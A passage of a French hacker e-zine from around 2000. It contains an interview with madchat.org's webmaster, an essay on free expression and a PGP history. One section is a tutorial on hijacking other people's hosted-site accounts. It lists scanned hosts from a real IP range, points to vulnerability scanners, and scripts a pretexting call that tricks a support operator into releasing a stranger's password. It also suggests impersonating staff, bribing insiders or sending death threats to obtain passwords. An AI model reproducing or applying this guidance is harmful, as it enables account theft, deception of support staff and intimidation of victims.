HACKER 2020
ISSUE #7 partie 2, par Clad Strife

3/ Interview

J'ai réalisé une ch'tite interview basé sur l'opinion de quelqu'un dont beaucoup de gens auront entendu parler. J'ai essayé de sortir d'un contexte matériel au cours de l'interview pour me reporter ailleurs, enfin, regardez par vous même:

<[mAdchAt]> Salut Clad
<Clad Strife > Salut mad
<Clad Strife > Alors Tu as eu plusieurs pseudos, mais pour faire paraitre plus officiel tu as gardé celui de madchat. D'après ce que l'on sait tu es le webmaster de madchat.org qui n'a qu'un seul but (pas la domination planetaire par la saturation médiatique), c'est de diffuser la notion de culture underground de manière insidueuse à travers les zines.
<[mAdchAt]> Oui, d'ailleurs, cette phrase [la domination.. etc] c'est une private joke qui est la translation du sogan de CdC je crois.Encore une fois, disons faire un peu passer les idees underground au grand public....
<Clad Strife > Dis moi, tu as quel âge?
<[mAdchAt]> j'ai 20 ans
<Clad Strife > Tu as un métier ou tu es encore étudiant?
<[mAdchAt]> Je suis etudiant en Chiropratique a Atlanta depuis plus d'un an
<[mAdchAt]> http://www.chiropratique.org [ Site que j'ai realise pour l'assoc francaise de chiro] c la 2 emme profession de sante aux US
<[mAdchAt]> Disons que la Chiro est a la medecine ce que l'etat est a l'underground :)
<Clad Strife > ouioui pas d'urls merci :)))
<[mAdchAt]> donc ca se rejoins
<Clad Strife > D'accord on se fait une idée
<Clad Strife > Tu comptes passer ta vie aux Etats-Unis?
<[mAdchAt]> J'en sais rien, probablement pas, sauf si j'ai une bonne opportunite pour repondre a ta question concerant un job/etudes - je bosse aussi comme admin dans mon universite de chiro .. fo bien vivre
<Clad Strife > ça gagne beaucoup ça?
<[mAdchAt]> 4000 F par mois souvent moins,.. mais je glande que dalle :)
<Clad Strife > payer à ne rien foutre: mon reve :-)
<[mAdchAt]> vi c'est ca, tant que je suis sur l'horloge, je suis paye :)
<Clad Strife > Qu'est-ce qui t'a poussé à t'intéresser à l'underground?
<[mAdchAt]> J'avais 15 ans je crois, et j'avais cree mon BBS 'underground' appelle SiLK, sur Reims 51, c'est la que j'ai eut pas mal de contacts avec des mecs qui ecrivaient des mags, du hack, du warez.. etc.. c'etait vraiement bon esprit ! C'est un peu ce que j'ai essaye de recreer avec la Mailing list et le serveur de news groups de madchat : une petite scene qui s'entraide et se connait...
<Clad Strife > et le bon esprit marche tjrs aussi bien?
<[mAdchAt]> Sur internet, pas vraiment, on fait de notre mieux avec madchat
<Clad Strife > passke je suppose que c'est important de bien s'entendre avec ceux qui vous lisent chaque semaine.
<Clad Strife > Tu reçois beaucoup de mails (à part les miens)?
<[mAdchAt]> lol :)
<Clad Strife > Ils te disent koi en général?
<[mAdchAt]> bah 50 par jour environ cad 50 mails personnels, sans compter tout le reste que je dois lire egalement. C'etait pire avant la creation de la 'Team' mAdchAt les mecs m'aident vraimenbt beaucoup en ce moment.
<Clad Strife > Quels genre d'aides t'apporte cette 'Team'?
<[mAdchAt]> Bah K s'occupe de creer un nouveau design et de l'IRC, Tobo s'occupe des robots PHP et CGI, Wolf et Ulysse de la Mailing List et des News, y'a aussi Cybz, Taz, Solid-Snake, Tezca, Veinscuts, Night04, ... :)
<Clad Strife > finalement toi tu fais plus rien koi!! :)
<[mAdchAt]> hehe oui je fous plus rien maintenant :) disons que je fait de la Comm interne.. :)
<[mAdchAt]> Mais c'est interessants, car on a vraiment tous la meme philosophie, a terme, j'espere pouvoir me retirer dans un monastere.
<Clad Strife > k
<Clad Strife > Pis as-tu des projets pour madchat?
<[mAdchAt]> Oui, pour l'an 2000 on a place des bombes dans toutes les grands bourses europeenes... lol
<Clad Strife > *voyez chers lecteurs la mentalité de votre idole* :)
<[mAdchAt]> Disons que madchat va devenir plus interractif, a la facon de Slashdot ou de freshmeat, les auteurs enverront leurs mags et feront eux meme leur description.. tout sera gere par une grande base de donnees.
<Clad Strife > ça c'est déjà moins évident pour nous, parce que tu peux être sur que les auteurs manqueront parfois d'objectivité
<[mAdchAt]> Oui, donc il y aura cette base de donnes, mais les descriptions de madchat sur les pages web resteront comme elles sont actuellement.. cela fera 2 points de vues...
<Clad Strife > celui de l'auteur et celui de madchat
<[mAdchAt]> Voila, celui de la team...
<Clad Strife > Si tu étais surfer, que tu visitais madchat, quel opinion regarderais-tu en premier, celle de madchat ou du webmaster?
<[mAdchAt]> Celle de mAdchAt :)
<Clad Strife > M'aurait étonné... ^^
<Clad Strife > Un autre sujet qui aurait surement intéressé beaucoup de lecteurs de mon interview: quelques détails sur ta vie actuelle par rapport à l'underground. As-tu eu des démélés avec la police, des mails de menaces?
<[mAdchAt]> Oui, mais je n'en parlerais pas ici.
<Clad Strife > Même sans en parler, est-ce que ces démélés risquent de compromettre l'avenir de madchat?
<[mAdchAt]> Je ne peux pas en dire plus, disons que mAdchAt devrait continuer et que l'on fait tout pour en ce moment.
<Clad Strife > Tu sais que vis à vis de la loi tu es responsable de ce que tu diffuses puisque tu héberges les zines.
<[mAdchAt]> Non, je ne les heberge plus, ce sont des liens vers 'Shif2Mags' un site sur Xoom qui se charge de referencer tous les zines qui sortent. De plus le disclaimer semble adapte. La police a surtout des problemes de comprehension globale de ce que nous faisons, ils croyaient
<Clad Strife > de toutes manières ce genre de démélés ne dure pas longtemps car les flics comprenne pas grand chose
<[mAdchAt]> Non je dois me la fermer a ce sujet ..
<[mAdchAt]> Nous ne sommes pas (Note de Clad après correction: pas ou plus? ça serait intéressant d'approfondir le sujet) en democratie, le pouvoir fait toujours ce qu'il veut, quel que soit le regime, quelles que soit les apparences.
<Clad Strife > Bien sur, sinon il n'y aurait pas de pouvoir...
<[mAdchAt]> Neanmoins, il est egalement possible que le pouvoir ne veulent pas 'Que' le mal des individus, le but de madchat est de faire en sorte que ces individus puissement simplement faire leur opinion en connaissance de cause.
<Clad Strife > dans la situation actuelle de cette fin du millénaire, à qui penses-tu que le pouvoir profite?
<[mAdchAt]> Question difficile, beaucoup de theories a ce sujet.
<Clad Strife > c ce que je me déchire à écrire pour les lecteurs ^_^
<[mAdchAt]> heheh :)
<Clad Strife > Pis sinon, penses-tu que la diffusion de zines (qui se veulent anti-oppression et anti-monopole), puisse, dans l'inconscient de chacun, changer un point de vue une idéologie faite vis à vis de ceux qui ont le pouvoir?
<[mAdchAt]> C'est le but en effet.
<Clad Strife > Bien que l'on puisse cerner "l'inconscient" de madchat qui forme presque un seul mouvement, au début, le but de madchat ça a été koi? Quel idéal t'a poussé à faire ton site?
<[mAdchAt]> Ok, l'ideal c'est un peu l'ideal Hacking, cad une circulation libre des connaissances et de l'information, un peu l'ideal Peace & Love remis a la mode 2000 :) Les choses evoluent d'ailleurs.. les hackers ne sont plus consideres comme des delinquants par la plupart des gens, mais comme des individus qui cherchent le bien de la societe. Ironie du sort :)
<Clad Strife > Si l'on suit ton idée, le fait de mettre des ezines à caractère violents ou anarchistes ne vient pas à contredire ce que tu as dit --> Peace & Love?
<[mAdchAt]> L'anarchie n'a rien de mechant,
<Clad Strife > y'a les 2 , j'avoue que tu diffuses parfois des textes sadiks
<[mAdchAt]> Les zines violents ne sont pas publies, sauf s'ils apportent une certaine athmosphere, un certain esprit.
<Clad Strife > c'est ça la liberté d'expression en effet, mais le fait de ne pas tous les publier es-ce parce que tu:
<Clad Strife > - as peurde représailles venant d'ailleurs
<Clad Strife > - n'aime pas voir l'image "peace & Love" défigurée par Des textes parfois stupides
<Clad Strife > - rétrécir cette marge de liberte d'expression
<[mAdchAt]> Cela nous protege, et cela permet en effet de rester dans la philosophie hacking
<Clad Strife > Sortons de notre "bulle" de philosphie et j'aimerais savoir: madchat etait surtout axé hacking: pense tu nécessaire que d'autres thèmes apparraissent? Warez, Phreaking etc? Est-ce parceque c'est aussi de la culture underground?
<[mAdchAt]> Nous avons deja des pages Warez/Phreak, le probleme est la 'deviance' de certains zines de cette categorie par rapport a cette philosphie underground justement
<[mAdchAt]> Exemple: phreaker pour le fun, ou le warez pour l'argent
<Clad Strife > oui je vois
<Clad Strife > personnellement, dans ton intime opinion, tes textes préférés sont ceux basés sur quels thèmes?
<[mAdchAt]> 2 choses, le hacking innovant et les textes delires [ qui sont en fait des moyens de s'amuser en faisant passer une atmosphere creative et interessante du milieu 'underground' ]
<Clad Strife > à ce sujet: quels sont les zines que tu conseilles à tous parce qu'ils seraient bons ou de bonne qualité?
<[mAdchAt]> Heuuu
<[mAdchAt]> Les Zines de Clad Strife, bien sur : Hacker 2020 :)
<[mAdchAt]> Il y en a beaucoup d'autres : NoWay, No Route, Hackoff, Deathly By, 3d13, et tout ceux avec le tag 'Philo Excellente' sur madchat
<Clad Strife > Noroute, Noway innovent encore? Est-ce par leur idéologie qu'ils font percevoir ou par leurs conseils (astuces de hack)?
<[mAdchAt]> Ouaip la philo et les techniques que l'on ne retrouve pas ailleurs
<Clad Strife > As-tu déjà fait du hack? du vrai (les réseaux)?
<[mAdchAt]> Cad chercher des failles de secu ?
<Clad Strife > en chercher et les exploiter (facultatif)
<[mAdchAt]> Les chercher, oui, les exploiter, non, c'est illegal :)
<Clad Strife > LoL
<Clad Strife > tu en as trouvé? de vraiment intéressantes?
<[mAdchAt]> Non je n'ai pas fait de decouvertes exceptionnelles, mais se balader sur un nouveau systeme [consentant, bien sur] est une experience nouvelle a chaque fois... On m'a d'ailleurs recemment propose de l'argent pour 'hacker' le site d'un hotel, les mecs voulaient juste connaitre le # de telephone d'une chambre et le nom de son occupant a un moment donne..
<[mAdchAt]> Je n'ai pas accepete. Mais pousse par la curiosite, j'ai ete faire un tour du cote du site, ca aurait ete tres facile.
<Clad Strife > qu'est-ce qui t'as empêché de le faire?
<[mAdchAt]> Comme quoi... cherche l'argent par le hack n'est pas difficile... Mais ce n'est pas du tout dans ma philosophie personnelle.
<Clad Strife > penses-tu que les ezines writers observent une éthique commune ou pas? parce qu'à ce sujet il faudrait s'étendre
<[mAdchAt]> A quelques variations pres, je dirais que oui, les zines 'majeurs' ont tous plus ou moins le meme ton.
<Clad Strife > Bien que on écrive des zines sur le piratage, comment pirater ceci, cela... Penses-tu à une notion de pacifisme?
<[mAdchAt]> Oui la contradiction est d'ailleurs interessante, mais la societe etant ce qu'elle est, les sittings devant l'assemblee nationnalle [pour la france] n'auraient que peu d'effets non ?
<Clad Strife > All right.
<[mAdchAt]> D'ailleurs le but de madchat, n'est pas que des sites se fassent hacker, mais bien une diffusion
<Clad Strife > aspect "Peace & love"....
<[mAdchAt]> pacifique d'un certain etat d'esprit, que tu partages surement deja, lecteur de cette interview :)))
<Clad Strife > je pense que oui sinon il aurait fermé son navigateur :)
<[mAdchAt]> A ce propos, je voudrais ajouter que le hack de pages web, n'est que la partie hemergee de l'iceberg. Ce qui fait mal au bateau, c'est la montagne qui est sous l'eau...
<Clad Strife > Tu connais beaucoup de gens qui touchent le fond de l'iceberg?
<[mAdchAt]> Cad ?
<Clad Strife > Eh bien: tu connais beaucoup de hackers qui à l'instar de K.Poulsen sont aussi doués mais moins courageux?
<[mAdchAt]> La partie non hemergee de l'iceberg : je pense par exemple a un hack de site qui prend des informations illegales sur ses consommateurs, le hack etant de modifier leurs bases de donnes par exemple.
<Clad Strife > ça se fait plus au niveau du site la modification de bases de données, mais au niveau de l'intranet, ou sur les petits sites du PC du webm
<[mAdchAt]> - Ca se fait au niveau du serveur. La base etant generalement sur le serveur, pour permettre les requetes dynamiques par exemple.
<Clad Strife > ça dépend des sites because l'importance du site mais on s'éloigne du sujet héhé.
<[mAdchAt]> Ben... oui je connais des gens qui font ca, mais peu s'en vanteront.
<Clad Strife > Oui c vrai que...
<[mAdchAt]> Bref, c'est ce que j'aurais aime faire, si je n'avais pas pris l'orientation 'philo peace & love' ;)
<Clad Strife > - Tu t'es déjà fait pirater? Actuellement on cherche à te pirater?
<[mAdchAt]> Arf, non je n'en ai pas peur, je chercherais a comprendre pourquoi, quel etait le but du gars qui veut faire ca... Ca me permettrait d'ameliorer le site, mais un email perso suffirait :)
<[mAdchAt]> Non nous ne nous somme jamais fait hacker, bien que le serveur ai une securite pitoyable [wingate].
<Clad Strife > Arrf c bien de dire ça: les gens vont se ruer dessus
<Clad Strife > Mais toi personellement tu t'es déjà fait pirater?
<[mAdchAt]> Non jamais, je n'ai d'ailleurs jamais eut affaire a un virus qui me tienne en defaut plus de 2 minutes :). Sinon pour madchat: l'evolution de madchat va se situer au niveau de la banque de donnees de connaissances avec le moteur de recherche, et au niveau de la communication parmis la scene francaise [serveur de newsgroups, irc, mailing list, actualites sur madchat].
<Clad Strife > bizarrement je sens qu'on n'a pas fini d'entendre parler de madchat... :)))
<[mAdchAt]> Je l'espere :)
<Clad Strife > Encouragerais-tu les jeunes newbies à lire et à expérimenter ce qui se trouve sur ton site? Pour etre clair à découvrir ce milieu
<[mAdchAt]> Bien sur, je les encouragerais a se trouver une specialite et a travailler pour devenir eux meme vecteurs de decouvertes dans leur dommaine et porteurs d'un message pour leurs concitoyens. Ce qui peut se faire dans la legalite.
<Clad Strife > LoL
<Clad Strife > Ca risque de faire baisser ta cote de popularité mais: est-ce que tu aprécies les lamers?
<[mAdchAt]> lol :)
<Clad Strife > en tant que lamers je veux dire ceux qui envoye des trojans, s'la racontent sur IRC par flood chan etc....
<[mAdchAt]> Non je ne les apprecie pas du tout, ce sont eux qui donnent a la scene son aspect de profiteurs ou de 'petits cons'. On s'amuse bien plus quand on cree quelque chose soi meme, ou quand on cherche a depasser ses propres limites, qu'en passant ses soirees a embeter le voisin pour sourire sur la 'betise' de la victime qui n'y connait rien.
<Clad Strife > Voilà: -50% de visite sur ton site ;-)
<Clad Strife > Je pense quand même qu'on ne s'amuse pas mais que l'on s'épanouit, nan?
<[mAdchAt]> Excatement, l'epanouissement de chacun par le hacking :)
<Clad Strife > Merci pour cette interview, je pense qu'on en sait maintenant plus sur la mentalité du webmaster d'un site comme madchat.org.

Dans la continuité sur la liberté d'expression voici un texte que j'ai écrit:

4/ Droit d'expression et abus
Article original pour Hackoff

Par abus on parle des abus de la liberté d'expression. Avant d'approfondir ce thème, parler du premier. Ce premier thème regroupe un sens très vaste tant au niveau du sens que de sa justesse dans le contexte utilisé. Je vais, bien entendu, parler de "Liberté d'expression underground": cette liberté n'est pas une liberté, le terme est assez mal employé. On parlerait de droit de s'exprimer, parce que concrètement on ne devrait pas divulguer d'idées "hors-la-loi": on n'a pas le droit d'inciter les gens à se criminaliser ou à empiéter sur la vie des autres. En bref la loi définit par des codes l'idée: "vit ta vie". Le droit d'expression qui nous permet d'exprimer nos idées, aussi choquantes peuvent-elles être, est limité. Ou bien limité à tort, ou à juste titre. A tort ce serait quand on essaye de vous empêcher de vous exprimer sur un thème qui n'est pas classé "outlaw" juste parce que celà empêcherait certaines personnes de tourner en rond. A juste titre c'est quand vos idées sont racistes (par exemple) ou ont une tendance non modérée... Le droit de s'exprimer sur un thème voulu est primordial, c'est ce qui fait avancer notre société; partager ses idées et ses ressources permet de s'enrichir tant culturellement que scientifiquement. Si on cherche à expliquer ce que le droit d'expression apporte comme bienfaits à l'esprit humain, je vous conseille d'aller chercher un sac de couchage.
Si l'on reste dans un cadre "underground" on peut aussi trouver des abus. Un abus se caractérise par le fait de s'exprimer de manière à inciter les gens qui vous lisent ou vous écoute à faire un action, qui est étudiée à la base. On pourrait chercher des abus dans de nombreux textes alors qu'ils ne sont pour la plupart que totalment involontaires (ça fait partie de la subjectivité et de la personnalité de la personne cette caractérisation). Là où l'on peut trouver des incitations, c'est dans les textes démagogues qui ont un but que l'orateur se garde d'exprimer clairement. Bien que vous avez (en général compris, à moins que l'orateur soit un très bon orateur et psychologue et s'adresse à une catégorie de personnes) cerné l'idée générale du texte, et où voulait en venir l'orateur, vous ne pourrez pas accuser directement l'orateur sur ses opinions, car son texte est lui aussi dans les limites de la "liberté du droit d'expression" et en même temps ne porte pas atteinte (par ses propos) à la personnalité de quelqu'un (comme peuvent le faire des propos racistes, mensongers ou autres). Actuellement certains partis politiques (que l'on ne citera pas) se basent sur la démagogie et profitent de la liberté d'expression pour inciter les gens à voter pour eux. En général s'exprimant sur une idée fixe (la regligon, les natonalités, autres) et n'ayant pas de discours cohérent, ces partis politiques peuvent aboutir à leurs fins, ou non selon la clairvoyance des personnes à qui ils s'adressent. Dans l'underground il n'y a pas de réels démagogie car l'une des bases de l'éthique de la plupart des membres de ce mouvement, est avant tout de développer la liberté d'expression, autour du domaine, que l'on pense être étouffée (notamment par des organismes gouvernementaux qui font de la censure et du cassage de réunions, à noter que le droit de réunion est un droit fondamental, ou font taire les affaires sur lesquels certains organismes auraient été incompétents ou accusant à tort...). L'écriture d'e-zines permet le développement de ce droit d'expression, car la création et la propagation de données est largement moins contrôlable sur le net que dans la réalité: c'est un atout que l'on exploite actuellement, qu'il serait facile de supprimer, mais le droit d'expression reprendrait le dessus en accusant cet état de fait "d'auto-censure" et "d'atteinte à la liberté (humaine)"...
Trop de choses à dire, encore des choses à découvrir et à explorer dans la psychologie et le milieu social humain face aux nouvelles technologies, le tout est de comprendre ce qui se passe actuellement et comment tout évolue.

5/ Hacker un compte multimania ou autre

Introduction: Article original pour IGA. A tout ceux qui associent la reprise d'articles à leur qualité. Je vais expliquer comment faire: aucune théorie; uniquement du technique, ça fera plaisir. Ce genre de techniques s'apparente à celles que les vrais hackers utilisent: donc basée surtout sur la réflexion, et un sens de la recherche.
Savoir où chercher ses informations est essentiel, savoir comment fonctionne un réseau, un système l'est encore plus. A tout ceux qui apparente le brute force hacking, le flooding, les trojans(...), au domaine des lamers: ça reste vrai sauf quand on sait les utiliser dans un but efficace.
La technique que je vais vous présenter s'apparente principalement sur:
- le brute force hacking
- le social engeenering

Application:

Partie1:

Nous cherchons à pirater (par exemple) le site http://www.multimania.com/912hd. La première chose que les newbies cherchent à faire, c'est se connecter sur multimania.com avec un programme comme VcrackFTP, et essayer le brute force hacking avec comme login 912hd et un dico. Vous avez vu que ça marchait? moi non, désolé. Pourtant il y a bien un moyen. C'est là que s'instaure la recherche d'indices, vague puis plus approfondie: d'abord de petites marques que Multimania lache.
Exemple:
Quand vous vous connectez sur un site multimania avec CuteFTP, une fenêtre s'ouvre et le nom multimania s'affiche en ASCIIART, sauf que c'est tellement mal présenté pour le programme que c'est illisible. Bref, l'important est de savoir que lorsque l'on se connecte au serveur il affiche quelque chose.
Puis la recherche plus approfondie, c'est carrément le scanning d'IP. D'abord trouver l'ip de multimania: tracert, ou programmes et on obtient:
195.154.132.30
C'est avec cet IP que tout va se jouer, on scann le réseau dans une branche de 195.154.127.1 à 195.154.137.254, et on obtient (avec les ports ouverts, donc services disponibles sur chaque serveur):

195.154.128.064 ppp-64.net10.magic.fr
195.154.128.154 ppp-154.net10.magic.fr
195.154.128.187 ppp-187.net10.magic.fr
195.154.128.232 ppp-232.net10.magic.fr
195.154.129.019 ppp-19.net11.magic.fr
195.154.129.032 ppp-32.net11.magic.fr
195.154.129.033 ppp-33.net11.magic.fr
195.154.129.034 ppp-34.net11.magic.fr
195.154.129.041 ppp-41.net11.magic.fr
195.154.129.064 NNTP POP3 IMAP4 ppp-64.net11.magic.fr
195.154.129.065 ppp-65.net11.magic.fr
195.154.129.142 ppp-142.net11.magic.fr
195.154.129.165 DNS FTP GOPH POP3 TIME IMAP4 SNMP ppp-165.net11.magic.fr
195.154.129.166 ppp-166.net11.magic.fr
195.154.129.172 ppp-172.net11.magic.fr
195.154.129.201 ppp-201.net11.magic.fr
195.154.129.229 ppp-229.net11.magic.fr
195.154.129.231 ppp-231.net11.magic.fr
195.154.130.048 DNS FTP NNTP POP3 SNMP www.continentalwaterways.fr
195.154.131.099 ppp-99.net13.magic.fr
195.154.132.030 www.multimania.com
195.154.132.035 www.multimania.fr
195.154.132.050 domo.multimania.net
195.154.132.060 dozo.multimania.net
195.154.132.100 bytex.multimania.net
195.154.132.120 xml.multimania.net
195.154.132.130 DNS ns.multimania.net
195.154.132.131 moon.multimania.net
195.154.132.132 DNS FTP NNTP POP3 SMTP hop.multimania.net
195.154.132.133 DNS ta.multimania.net
195.154.132.134 ga.multimania.net
195.154.132.135 da.multimania.net
195.154.132.136 ha.multimania.net
195.154.132.137 DNS tic.multimania.net
195.154.132.138 tac.multimania.net
195.154.132.139 toe.multimania.net
195.154.132.140 ri.multimania.net
195.154.132.141 dynaserv.multimania.net
195.154.132.142 chat.multimania.net
195.154.132.146 qui.multimania.net
195.154.132.150 noc.multimania.net
195.154.132.151 re.multimania.net
195.154.132.152 bo.multimania.net
195.154.132.153 boot.multimania.net
195.154.132.154 tuc.multimania.net
195.154.132.155 me.multimania.net
195.154.132.156 hara.multimania.net
195.154.132.157 kiri.multimania.net
195.154.132.251 switch-1.multimania.net
195.154.132.252 core-1-gig-eth-0-sx.multimania.net

Sur ce scann on remarque que les serveurs multimania ne commenbcent à apparaitre qu'à partir de l'IP: 195.154.130.48 autrement dit: www.continentalwaterways.fr

Si on regarde les services de chaque serveur, le seul vraiment gros c'est:
195.154.132.132 DNS FTP NNTP POP3 SMTP hop.multimania.net
C'est donc ce serveur là qu'on va penser à viser. On se doute que c'est là que se connecte les usagers multimania pour mettre à jour leurs pages, mais ça reste à vérifier:
Alors on se connecte par FTP (ou port 21) à hop.multimania.net
On essaye de se logger (USER/PASS), mais ça rame... Si ça rame c'est qu'il y a du trafic sur ce serveur, si il y a du trafic c'est qu'il est important. Vous êtes surs dans 90% des cas d'être tombé sur le serveur ftp de multimania. De plus, MULTIMANIA s'affiche en AsciiArt comme avec CuteFTP. Certains me dirotn: "oui mais quand on se connecte sur son compte multimania.com/912hd, cuteftp affiche hop.multimania.net, donc ta recherche est inutile". Non, ce n'est pas inutile, car Multimania n'est qu'un exemple, et comme tous les exemples il sert à illustrer une vérité générale. Déduisez-en que ça marche pour à peu près tout les services du genre.
Bon, c'est bien beau, mais si on échoue environ 5 tentatives de connection on est déconnecté. Donc la solution du brute force hacking est éliminé d'office. Il faut essayer de se logger sans les restrictions: utilisons des scanners, quand je parle de scanners je pense surtout à Nessus:
vous rentrer une cible, et il vous en affiche les caractéristiques avec les risques que ça comporte. Avec ce genre d'outils le piratage devient plus aisé car en affichant tous les problèmes du serveur et ses failles, y'a plus besoin d'aller chercher très loin pour pirater des serveurs mal protégés. Installez Linux, vous en serez pas moins heureux.

Ca c'était pour le piratage d'un site perso, mais ça aurait pu aller plus loin.

Partie 2:

Piratage d'un serveur. Il existe plusieurs voies pour pirater un serveur.
- Compter sur ses failles (mais je n'étudierais pas)
- Par le Social Engeenering
- Par des moyens détournés.

Je n'expliquerais pas la première, bien que ce soirt chose à faire avant tout. Parlons du social Engeenering, et du serveur. Parlons d'un serveur web à pirate: zipiz.com: la page n'a rien de particulier. Comment va-t-on se démmerder pour avoir le pass? Avant d'aller plus loin je rappelle que:
Il y a 70% de chances que les passwords de différents services coincident. C'est sur cette faille que va reposer notre attaque:
On voit que le site est hosté par e-stat, c'est intéressant car e-stat demande un pass pour accéder au compte utilisateur. Donc on va sur le site estat.com. On essaye de rentrer un nom d'utilisateur bidon, on valide sans mettre de pass. Normalement une page d'erreur de pass ou d'utilisateur s'affiche puis on vous dit que si vous avez perdu votre pass, voilà comment faire, etc... je dis "normalement" car estat ne le fait pas. Il faut cliquer sur le signet "Votre compte" pour accéder à son compte et un peu plus en bas de la page on vous explique comment retrouver votre pass: donnez le N° de Série de votre compte et un email sera envoyé à l'adresse qui a été enregistrée dans vos infos. Hors vous ne pouvez accéder à cette boite e-mail, donc va falloir ruser. D'abord avoir le serial de l'accompte ça peut aider. On regarde la page où il y a la bannière estat, et on regarde le source.
Le serial est : 13701523584
C'est là qu'intervient le SE.
On décide d'appeler Estat (personellement allez les voir dans leurs bureaux: c'est 10 fois plus convaincant):
Comment retrouver les informations concernant les coordonnées d'estat. On va sur networkssolutions.com ou on prend un programme qui fais des DNS lookups (WS PING PRO PACK par exemple), puis on obtient diverses infos dont l'adresse téléphone de l'administrateur. Il faut téléphoner à ce numéro et...
Opératrice> Estat bonjour, que puis-je faire pour vous?
Vous> Bonjour, j'ai un problème avec mon compte sur estat, est-ce que vous pourriez m'aider?
Opératrice> Eh bien nous allons voir ça: quel est votre problème?
Vous> J'ai un compte estat mais je ne peux pas y accéder car je n'ai plus le pass...
Opératrice> il vous suffit d'aller dans la partie "votre compte", on vous explique comment récupérer votre password.
Vous> J'ai déjà essayé mais je n'ai encore reçu aucun mail
(Autre alternative)
Vous> Je sais bien madame, mais j'ai changé de compte mail
Opératrice> Désolé nous ne pouvons rien faire pour vous
(Autre alternative)
Opératrice> Alors je vais vous posez quelques questions concernant vos informations lors de l'inscription.

Si rien ne marche commmencez à gueuler et à faire que vous allez porter plainte. Dites que vous voulez parlez au dirigeant, etc... Pis si ça marche toujours pas, ayez du culot ou laissez tomber.
Il y a différentes possibilités de réponse de l'opératrice, tout dépend de la manière d'agir de celle-ci et de sa personnalité ou conception des choses.

J'expose maintenant le cas de moyens détournés. J'expose ça aussi simplement que rapidement car il y a quantité indénombrable de ces moyens:
je vais caractériser ces moyens par deux ou trois exemples.
Vous connaissez quelqu'un qui travaille à Estat et pourrait vous avoir les pass par exemple
Vous pouvez vous faire passer pour un employé ou un stagiaire
Vous pouvez envoyer des menaces de morts, ou foutre le bordel pour avoir ces pass
etc...

5/ PGP

- Qu'est-ce que PGP
- Comment fonctionne PGP
- Codes sources
- La libéralisation de la cryptologie en France?

PGP est l'abrégé de Pretty Good Privacy et c'est un encrypteur fonctionnat avec un système de clefs, à ce sujet 1999 restera d'abord comme l'année de la libéralisation de la cryptographie en France. Fin janvier, le Premier Ministre Lionel Jospin, après s'en être "entretenu avec le Président de la République", a décidé d'accorder "la liberté complète dans l'utilisation de la cryptologie". Les décrets du 17 mars 1999 remontant la longueur maximale des clefs symétriques autorisées à 128 bits puis l'autorisation de vente de PGP par le SCSSI en novembre ont engagé cette réforme. Une loi abrogeant les derniers textes anti-crypto devrait être présentée au Parlement durant le premier semestre 2000.
1999 a aussi été une année particulièrement riche pour PGP chez les francophones. Les manuels 6.0.2i ont été traduits intégralement, puis a été publié le freeware PGP 5.5.3fr pour Windows, alors que PGP 6.5.1fr beta 2 était en test privé en décembre avec une version finale publique prévue pour la mi-janvier 2000. Du côté des versions commerciales, NAI France a commencé en novembre à vendre PGP Desktop Security 5.5.5 et 6.0.2 sur le territoire français.
1999 a encore été l'année de GnuPG, la version GNU de PGP, alors qu'on constatait une certaine désaffection des utilisateurs de la première heure pour PGPTM. Une remarquable version 1.0 de GnuPG est sortie et le projet a obtenu un soutien financier de 163.000 euros (1 million de FRF) du gouvernement allemand. PGP, pour lequel NAI fait peu de publicité, est devenu avec ses versions 6.5.x un logiciel de plus en plus complexe, parfois buggué, et surtout difficile à compiler et à examiner quant à la sécurité de son code-source.
1999 a également vu la suite des tours de qualification pour l'AES, l'algorithme standard de chiffrement du XXIe siècle, qui a laissé cinq participants en course : MARS, RC6, Rijndael, Serpent, Twofish.
1999 a enfin été l'année où le gouvernement américain s'est ridiculisé en déclarant vouloir lever les restrictions anti-exportation sur la cryptographie, avant de faire volte-face et plafonner les matériels autorisés à des clefs symétriques de 64 bits et publiques de 512 bits, puis à nouveau temporiser et remettre son choix. Les décisions des gouvernements allemand et français en matière de cryptologie ont fini d'isoler les américains de plus en plus mis en cause par l'Union Européenne au sujet de leur réseau d'espionnage "Echelon". (source: "Crypto-News")

PGP fonctionne sur un système de clefs, c'est à dire que l'algorithme d'encryptage et de décryptage est représenté sous forme d'une clef à avoir pour crypter et décrypter un fichier crypté avec la même clé. Donc pour décrypter un texte crypté, il vous faut la clé d'encryption: aussi simple que celà. Alors bien sur ça a tous ses avantages pour garantir une parfaite fiabilité du contenu des dcuments qui circulent:

- Personne qui ne possède la clef n'a des chances de décrypter un fichier encrypté, sauf peut-être en essaynat différentes clefs ou en trouvant l'algorithme de cryptage
- Il est possible de trouver comment décrypter sans la clef, mais plus la valeur de la clef (en bit) est grande, plus sera difficile un décryptage.

Les codes sources de PGP 6.5.1, programmé en C, sont dans le zip de cet e-zine, en temps normal.

Quant à la libéralisation de la cryptologie en France, elle a plus que pris forme. A ce sujet, ce genre d'évolution montre plusieurs choses: l'Etat n'est pas un obstacle à la liberté sur l'internet. D'ailleurs un communiqué du gouvernement illustrerait mes brefs propos:

1. Cryptologie : liberté complète de l'usage en France

Face au développement des moyens d'espionnage électronique, la possibilité de crypter les communications apparaît comme une réponse efficace pour protéger la confidentialité des échanges et la vie privée.

Le Gouvernement s'est donné le temps de la réflexion. Après avoir consulté les acteurs, les experts et ses partenaires internationaux, il a acquis la conviction que les dispositions issues de la loi de 1996 ne sont plus adaptées. Elles restreignent fortement l'usage de la cryptologie dans notre pays, sans pour autant permettre aux pouvoirs publics de lutter efficacement contre des agissements criminels dont le chiffrement pourrait faciliter la dissimulation. Elles font en outre apparaître un risque d'isolement de la France par rapport à ses principaux partenaires.

Le Gouvernement a donc décidé un changement fondamental d'orientation, qui vise à rendre complètement libre l'usage de la cryptologie en France, tout en adaptant les moyens des pouvoirs publics pour garantir les libertés publiques dans ce nouvel environnement et pour lutter contre l'utilisation des moyens de chiffrement à des fins délictueuses.

Le projet de réforme législative qui sera présenté au Parlement s'articulera autour des orientations suivantes :

- offrir une liberté complète dans l'utilisation des produits de cryptologie, sous la seule réserve du maintien des contrôles à l'exportation découlant des engagements internationaux de la France (moyens de chiffrements faisant appel à des clefs d'une longueur supérieure à 56 bits) ;

- supprimer le caractère obligatoire du recours au tierces parties de confiance pour le dépôt des clefs de chiffrement. Le rôle de tiers de confiance ne sera pas limité à la gestion des clefs mais pourra s'étendre à d'autres missions, comme la certification de signatures électroniques. Le recours à ces organes et aux mécanismes d'auto-séquestre sera encouragé. Les tiers de confiance pourront notamment solliciter l'attribution d'un label auprès des pouvoirs publics ;

